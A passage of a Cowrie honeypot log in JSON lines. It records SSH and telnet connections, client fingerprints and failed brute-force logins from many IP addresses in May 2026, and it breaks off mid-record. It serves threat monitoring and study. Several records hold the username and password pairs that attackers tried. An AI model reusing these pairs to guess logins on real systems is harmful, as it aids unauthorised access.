{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:37:40.177511Z","src_ip":"62.133.62.83","session":"5843015edadf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.118.22","src_port":43744,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6e40edafb5c","protocol":"ssh","message":"New connection: 186.233.118.22:43744 (159.203.135.109:22) [session: c6e40edafb5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:37:44.950874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:37:44.956098Z","src_ip":"186.233.118.22","session":"c6e40edafb5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:37:45.074900Z","src_ip":"186.233.118.22","session":"c6e40edafb5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazQAZ123!@#","message":"login attempt [root/qazQAZ123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:37:45.579520Z","src_ip":"186.233.118.22","session":"c6e40edafb5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:37:46.702114Z","src_ip":"186.233.118.22","session":"c6e40edafb5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.153.157.138","src_port":44534,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb18214b2472","protocol":"telnet","message":"New connection: 27.153.157.138:44534 (10.17.0.5:23) [session: bb18214b2472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:37:54.056113Z"}
{"eventid":"cowrie.session.connect","src_ip":"222.107.156.227","src_port":20197,"dst_ip":"10.17.0.5","dst_port":22,"session":"942fa30cdbf2","protocol":"ssh","message":"New connection: 222.107.156.227:20197 (10.17.0.5:22) [session: 942fa30cdbf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:38:03.977896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:38:03.986644Z","src_ip":"222.107.156.227","session":"942fa30cdbf2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:38:04.192918Z","src_ip":"222.107.156.227","session":"942fa30cdbf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nimesh","password":"nimesh","message":"login attempt [nimesh/nimesh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:38:05.037444Z","src_ip":"222.107.156.227","session":"942fa30cdbf2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.190.156.8","src_port":51086,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e05b1864ba0","protocol":"ssh","message":"New connection: 89.190.156.8:51086 (10.17.0.5:22) [session: 1e05b1864ba0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:38:05.899351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:38:05.905174Z","src_ip":"89.190.156.8","session":"1e05b1864ba0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":36110,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd5f2585ce99","protocol":"ssh","message":"New connection: 80.94.92.168:36110 (10.17.0.5:22) [session: dd5f2585ce99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:38:05.948395Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:38:05.992399Z","src_ip":"89.190.156.8","session":"1e05b1864ba0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:38:06.067665Z","src_ip":"80.94.92.168","session":"dd5f2585ce99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:38:06.245554Z","src_ip":"222.107.156.227","session":"942fa30cdbf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Reza1234","message":"login attempt [root/Reza1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:38:06.369211Z","src_ip":"89.190.156.8","session":"1e05b1864ba0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.246.14.196","src_port":33550,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8f04c2994bf","protocol":"ssh","message":"New connection: 186.246.14.196:33550 (159.203.135.109:22) [session: d8f04c2994bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:38:07.282427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:38:07.287511Z","src_ip":"186.246.14.196","session":"d8f04c2994bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:38:07.459171Z","src_ip":"89.190.156.8","session":"1e05b1864ba0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:38:07.464375Z","src_ip":"186.246.14.196","session":"d8f04c2994bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mdm","password":"mdm","message":"login attempt [mdm/mdm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:38:08.204953Z","src_ip":"186.246.14.196","session":"d8f04c2994bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.230.127.104","src_port":41164,"dst_ip":"10.17.0.5","dst_port":22,"session":"2762a90e977e","protocol":"ssh","message":"New connection: 213.230.127.104:41164 (10.17.0.5:22) [session: 2762a90e977e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:38:08.894806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:38:08.900690Z","src_ip":"213.230.127.104","session":"2762a90e977e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:38:09.076642Z","src_ip":"213.230.127.104","session":"2762a90e977e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:38:09.388386Z","src_ip":"186.246.14.196","session":"d8f04c2994bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1234","message":"login attempt [postgres/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:38:09.811404Z","src_ip":"213.230.127.104","session":"2762a90e977e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:38:10.985271Z","src_ip":"213.230.127.104","session":"2762a90e977e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00177693367004,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:38:11.305485Z","src_ip":"38.211.253.121","session":"edc5c35570e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.211.253.121","src_port":10576,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e4a0fccfc8e","protocol":"telnet","message":"New connection: 38.211.253.121:10576 (159.203.135.109:23) [session: 4e4a0fccfc8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:38:12.177234Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.211.253.121","src_port":10016,"dst_ip":"159.203.135.109","dst_port":23,"session":"559017d3e7e8","protocol":"telnet","message":"New connection: 38.211.253.121:10016 (159.203.135.109:23) [session: 559017d3e7e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:38:12.586108Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":58762,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2ab7e10dd0b","protocol":"ssh","message":"New connection: 109.237.96.109:58762 (159.203.135.109:22) [session: a2ab7e10dd0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:38:21.798603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:38:21.804004Z","src_ip":"109.237.96.109","session":"a2ab7e10dd0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:38:21.894650Z","src_ip":"109.237.96.109","session":"a2ab7e10dd0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dasha2003","message":"login attempt [root/dasha2003] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:38:22.166232Z","src_ip":"109.237.96.109","session":"a2ab7e10dd0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:38:23.263736Z","src_ip":"109.237.96.109","session":"a2ab7e10dd0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.391220331192017,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:38:25.447199Z","src_ip":"27.153.157.138","session":"bb18214b2472","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00236582756042,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:38:27.100505Z","src_ip":"186.55.200.230","session":"bee82667918d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.55.200.230","src_port":58486,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3009a22c875","protocol":"telnet","message":"New connection: 186.55.200.230:58486 (159.203.135.109:23) [session: b3009a22c875]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:38:31.641210Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":55228,"dst_ip":"10.17.0.5","dst_port":22,"session":"43d00f33761a","protocol":"ssh","message":"New connection: 20.203.42.204:55228 (10.17.0.5:22) [session: 43d00f33761a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:39:11.403177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:39:11.409796Z","src_ip":"20.203.42.204","session":"43d00f33761a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:39:11.596711Z","src_ip":"20.203.42.204","session":"43d00f33761a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"changeme123","message":"login attempt [user/changeme123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:39:12.306852Z","src_ip":"20.203.42.204","session":"43d00f33761a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:39:13.478758Z","src_ip":"20.203.42.204","session":"43d00f33761a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":43474,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f1a942a12a8","protocol":"ssh","message":"New connection: 194.113.233.25:43474 (10.17.0.5:22) [session: 6f1a942a12a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:39:23.499415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:39:23.508667Z","src_ip":"194.113.233.25","session":"6f1a942a12a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-s